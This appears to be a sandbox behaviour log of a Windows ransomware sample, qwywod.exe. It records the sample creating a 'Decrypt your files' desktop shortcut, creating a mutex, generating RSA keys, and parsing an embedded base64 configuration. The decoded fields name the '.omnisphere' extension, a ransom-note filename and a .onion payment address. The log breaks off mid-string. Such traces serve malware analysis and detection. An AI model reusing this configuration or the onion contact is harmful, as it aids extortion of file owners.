# Flog Txt Version 1 # Analyzer Version: 3.1.1 # Analyzer Build Date: Sep 16 2019 10:43:25 # Log Creation Date: 14.10.2019 08:53:42.199 Process: id = "1" image_name = "qwywod.exe" filename = "c:\\users\\fd1hvy\\desktop\\qwywod.exe" page_root = "0x62f01000" os_pid = "0xf98" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\qwywod.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xb80 [0048.406] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xa62680) returned 0x0 [0048.414] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\Desktop\\qwywod.exe\" " [0048.414] StrStrA (lpFirst="\"C:\\Users\\FD1HVy\\Desktop\\qwywod.exe\" ", lpSrch="decrypt") returned 0x0 [0048.433] CoInitialize (pvReserved=0x0) returned 0x0 [0049.074] CoCreateInstance (in: rclsid=0xa681f0*(Data1=0x21401, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xa681e0*(Data1=0x214ee, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x137ff00 | out: ppv=0x137ff00*=0x162397c) returned 0x0 [0049.477] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x137fdf8, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\qwywod.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\qwywod.exe")) returned 0x22 [0049.478] ShellLink:IShellLinkA:SetPath (This=0x162397c, pszFile="C:\\Users\\FD1HVy\\Desktop\\qwywod.exe") returned 0x0 [0051.993] ShellLink:IShellLinkA:SetDescription (This=0x162397c, pszName="Decrypt your files") returned 0x0 [0051.993] ShellLink:IShellLinkA:SetArguments (This=0x162397c, pszArgs="decrypt") returned 0x0 [0051.993] ShellLink:IUnknown:QueryInterface (in: This=0x162397c, riid=0xa68200*(Data1=0x10b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x137fefc | out: ppvObject=0x137fefc*=0x162398c) returned 0x0 [0051.993] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x137fbf0 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 0x0 [0051.994] GetProcessHeap () returned 0x1600000 [0051.994] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x62) returned 0x162b5e0 [0051.994] PathCombineW (in: pszDest=0x162b5e0, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="DECRYPT_FILES.lnk" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\DECRYPT_FILES.lnk") returned="C:\\Users\\FD1HVy\\Desktop\\DECRYPT_FILES.lnk" [0051.994] ShellLink:IPersistFile:Save (This=0x162398c, pszFileName="C:\\Users\\FD1HVy\\Desktop\\DECRYPT_FILES.lnk", fRemember=1) returned 0x0 [0052.073] ShellLink:IUnknown:Release (This=0x162398c) returned 0x1 [0052.073] ShellLink:IUnknown:Release (This=0x162397c) returned 0x0 [0052.073] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xa62680) returned 0xa62680 [0052.073] GetKeyboardLayoutList (in: nBuff=0, lpList=0x0 | out: lpList=0x0) returned 1 [0052.074] GetProcessHeap () returned 0x1600000 [0052.074] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x4) returned 0x162b958 [0052.074] GetKeyboardLayoutList (in: nBuff=1, lpList=0x162b958 | out: lpList=0x162b958) returned 1 [0052.074] GetProcessHeap () returned 0x1600000 [0052.074] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162b958 | out: hHeap=0x1600000) returned 1 [0052.074] SHGetFolderPathW (in: hwnd=0x0, csidl=36, hToken=0x0, dwFlags=0x0, pszPath=0x137f920 | out: pszPath="C:\\WINDOWS") returned 0x0 [0052.075] PathAddBackslashW (in: pszPath="C:\\WINDOWS" | out: pszPath="C:\\WINDOWS\\") returned="" [0052.075] GetVolumeNameForVolumeMountPointW (in: lpszVolumeMountPoint="C:\\WINDOWS\\", lpszVolumeName=0x137fb28, cchBufferLength=0x80 | out: lpszVolumeName="") returned 0 [0052.076] PathRemoveBackslashW (in: pszPath="C:\\WINDOWS\\" | out: pszPath="C:\\WINDOWS") returned="" [0052.076] PathRemoveFileSpecW (in: pszPath="C:\\WINDOWS" | out: pszPath="C:\\") returned 1 [0052.076] PathAddBackslashW (in: pszPath="C:\\" | out: pszPath="C:\\") returned="" [0052.076] GetVolumeNameForVolumeMountPointW (in: lpszVolumeMountPoint="C:\\", lpszVolumeName=0x137fb28, cchBufferLength=0x80 | out: lpszVolumeName="\\\\?\\Volume{df759572-0000-0000-0000-100000000000}\\") returned 1 [0052.076] CLSIDFromString (in: lpsz="{df759572-0000-0000-0000-100000000000}", pclsid=0x137fcc8 | out: pclsid=0x137fcc8*(Data1=0xdf759572, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x10, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0052.077] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\ECC1706E0D1783792838224856657586") returned 0x220 [0052.077] GetLastError () returned 0x0 [0052.077] SHGetFolderPathW (in: hwnd=0x0, csidl=36, hToken=0x0, dwFlags=0x0, pszPath=0x137e360 | out: pszPath="C:\\WINDOWS") returned 0x0 [0052.077] PathAddBackslashW (in: pszPath="C:\\WINDOWS" | out: pszPath="C:\\WINDOWS\\") returned="" [0052.077] GetVolumeNameForVolumeMountPointW (in: lpszVolumeMountPoint="C:\\WINDOWS\\", lpszVolumeName=0x137e568, cchBufferLength=0x80 | out: lpszVolumeName="") returned 0 [0052.077] PathRemoveBackslashW (in: pszPath="C:\\WINDOWS\\" | out: pszPath="C:\\WINDOWS") returned="" [0052.078] PathRemoveFileSpecW (in: pszPath="C:\\WINDOWS" | out: pszPath="C:\\") returned 1 [0052.078] PathAddBackslashW (in: pszPath="C:\\" | out: pszPath="C:\\") returned="" [0052.078] GetVolumeNameForVolumeMountPointW (in: lpszVolumeMountPoint="C:\\", lpszVolumeName=0x137e568, cchBufferLength=0x80 | out: lpszVolumeName="\\\\?\\Volume{df759572-0000-0000-0000-100000000000}\\") returned 1 [0052.078] CLSIDFromString (in: lpsz="{df759572-0000-0000-0000-100000000000}", pclsid=0x137e704 | out: pclsid=0x137e704*(Data1=0xdf759572, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x10, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0052.080] wvnsprintfW (in: pszDest=0x137f124, cchDest=259, pszFmt="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\%s", arglist=0x137e73c | out: pszDest="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Lsxzmjbgu") returned 51 [0052.081] SHGetFolderPathW (in: hwnd=0x0, csidl=36, hToken=0x0, dwFlags=0x0, pszPath=0x137e364 | out: pszPath="C:\\WINDOWS") returned 0x0 [0052.081] PathAddBackslashW (in: pszPath="C:\\WINDOWS" | out: pszPath="C:\\WINDOWS\\") returned="" [0052.081] GetVolumeNameForVolumeMountPointW (in: lpszVolumeMountPoint="C:\\WINDOWS\\", lpszVolumeName=0x137e56c, cchBufferLength=0x80 | out: lpszVolumeName="") returned 0 [0052.082] PathRemoveBackslashW (in: pszPath="C:\\WINDOWS\\" | out: pszPath="C:\\WINDOWS") returned="" [0052.082] PathRemoveFileSpecW (in: pszPath="C:\\WINDOWS" | out: pszPath="C:\\") returned 1 [0052.082] PathAddBackslashW (in: pszPath="C:\\" | out: pszPath="C:\\") returned="" [0052.082] GetVolumeNameForVolumeMountPointW (in: lpszVolumeMountPoint="C:\\", lpszVolumeName=0x137e56c, cchBufferLength=0x80 | out: lpszVolumeName="\\\\?\\Volume{df759572-0000-0000-0000-100000000000}\\") returned 1 [0052.082] CLSIDFromString (in: lpsz="{df759572-0000-0000-0000-100000000000}", pclsid=0x137e708 | out: pclsid=0x137e708*(Data1=0xdf759572, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x10, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0052.083] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Lsxzmjbgu", ulOptions=0x0, samDesired=0x101, phkResult=0x137e74c | out: phkResult=0x137e74c*=0x0) returned 0x2 [0052.083] CryptAcquireContextW (in: phProv=0x137e170, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x137e170*=0x163bfd0) returned 1 [0052.718] CryptGenKey (in: hProv=0x163bfd0, Algid=0xa400, dwFlags=0x4000001, phKey=0x137e17c | out: phKey=0x137e17c*=0x1639928) returned 1 [0052.954] CryptExportKey (in: hKey=0x1639928, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x137f458, pdwDataLen=0x137e16c | out: pbData=0x137f458*, pdwDataLen=0x137e16c*=0x94) returned 1 [0052.954] CryptExportKey (in: hKey=0x1639928, hExpKey=0x0, dwBlobType=0x7, dwFlags=0x0, pbData=0x137ee3c, pdwDataLen=0x137e168 | out: pbData=0x137ee3c*, pdwDataLen=0x137e168*=0x254) returned 1 [0052.954] CryptDestroyKey (hKey=0x1639928) returned 1 [0052.955] CryptReleaseContext (hProv=0x163bfd0, dwFlags=0x0) returned 1 [0052.955] VirtualQuery (in: lpAddress=0xa67170, lpBuffer=0x137e160, dwLength=0x1c | out: lpBuffer=0x137e160*(BaseAddress=0xa67000, AllocationBase=0xa60000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0052.955] VirtualQuery (in: lpAddress=0xa67170, lpBuffer=0x137e0e4, dwLength=0x1c | out: lpBuffer=0x137e0e4*(BaseAddress=0xa67000, AllocationBase=0xa60000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0052.955] StrStrIA (lpFirst="(null);(null);LmV4ZXwuc3lzfC5kbGw=;(null);QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=;Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", lpSrch=";") returned=";(null);LmV4ZXwuc3lzfC5kbGw=;(null);QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=;Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;" [0052.955] GetProcessHeap () returned 0x1600000 [0052.955] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7) returned 0x162b898 [0052.955] lstrcpynA (in: lpString1=0x162b898, lpString2="(null);(null);LmV4ZXwuc3lzfC5kbGw=;(null);QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=;Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", iMaxLength=7 | out: lpString1="(null)") returned="(null)" [0052.955] GetProcessHeap () returned 0x1600000 [0052.955] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7) returned 0x162b8f8 [0052.955] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x162b8f8, cbMultiByte=3, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0052.956] GetProcessHeap () returned 0x1600000 [0052.956] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8) returned 0x162ba18 [0052.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x162b8f8, cbMultiByte=3, lpWideCharStr=0x162ba18, cchWideChar=4 | out: lpWideCharStr="žée") returned 3 [0052.956] StrStrIA (lpFirst="(null);LmV4ZXwuc3lzfC5kbGw=;(null);QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=;Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", lpSrch=";") returned=";LmV4ZXwuc3lzfC5kbGw=;(null);QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=;Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;" [0052.956] GetProcessHeap () returned 0x1600000 [0052.956] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7) returned 0x162b918 [0052.956] lstrcpynA (in: lpString1=0x162b918, lpString2="(null);LmV4ZXwuc3lzfC5kbGw=;(null);QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=;Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", iMaxLength=7 | out: lpString1="(null)") returned="(null)" [0052.956] GetProcessHeap () returned 0x1600000 [0052.956] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7) returned 0x162ba58 [0052.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x162ba58, cbMultiByte=3, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0052.956] GetProcessHeap () returned 0x1600000 [0052.956] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8) returned 0x162b8a8 [0052.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x162ba58, cbMultiByte=3, lpWideCharStr=0x162b8a8, cchWideChar=4 | out: lpWideCharStr="žée") returned 3 [0052.956] StrStrIA (lpFirst="LmV4ZXwuc3lzfC5kbGw=;(null);QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhbRDUJRhdFP9Zs0CyLTg9QTyE2FAuGRoFuEfMbG5bliWDn98rd8mouxCZ3QduOarN0zyo46tKmcloLPDTIkQw3dtky55PGzirY6gA=;Lm9tbmlzcGhlcmU=;IURFQ1JZUFRfT01OSVNQSEVSRS50eHQ=;UkhQWjJBWFlSMlY0SkNJVg==;MQ==;aHR0cDovL3V1Nmlzc21ibmNkM3dqa20ub25pb24v;YXNk;", lpSrch=";") returned=";(null);QVAzMhgAAACuAgAAStZPEF8FAAB33PG7IK8BQeKAlF0D/E9tAW5pU3BoZXLL3zdhs3Nv+3e2Focjjw0K9QH8aD9vd7p0Y4Rlc2cMf3n3db+jZmlsRx469ryBAy2hAwoDWTBVUvlQRdFT4E5Bfkw6Rkl79CzDIEhPVJYRO0RB8nRC870meXVS/dxOQ+xZP1BUFEQhOEJzkMGPbu90z2QvbW9nfZUhHONt+2TmHN8yfAdubHku8lRosBNjYXZ03yh9KnPJcnbp3+tiQmZbdNs2MKZSbWs6sO1sxrTiz18u0l5Gow90eRtrPm9G6CyIlHczaEiSZ3DvFVVSLD11ySi39m743a4zhnnbd87DZ2I8ZMNjciiadKmlJEiyobyzVGFoCJYpyJX6mZBj8/0Qyldv+LoUDOAQa9DFzStkNSHxNzZUZ4L9bZFdUE0oCyBBM6mj3Kk2NoAY3z0bdA+0lClQUOA5YnZIeSnQkLmjsOG2J95WYYJnYnSnaYqdVIXtZW87KWi0jzQpSZljA2lwdUEqbKiviN7+JKQiefoo3+4dcTwrX5OZLnEpkqsoKdQUMlFFL23NKry095N6s8lsfHZWKYs/SVPAbiiUNfNwPQhh91EsLPpE75hGCXRydWMaOo3GJQypRExFrdIOuUw/PB9PVSbbxToq7hsxLlQzZG5sYTPEVG9CnhyqZWFhdMVw4Dov4/ckAi6HqrJRatIGzxQUZy9kMN5kVWh+JKGULk+IMhJPCg9uS3IRGTMCSZ4X/+6NKAj75RW3PX2yOv0y0EeiKCWydEykC2I0dldoviyCP4cDY+sHRWvK+UhWtQ4cl39+ppn0cKbVpZDKRWhb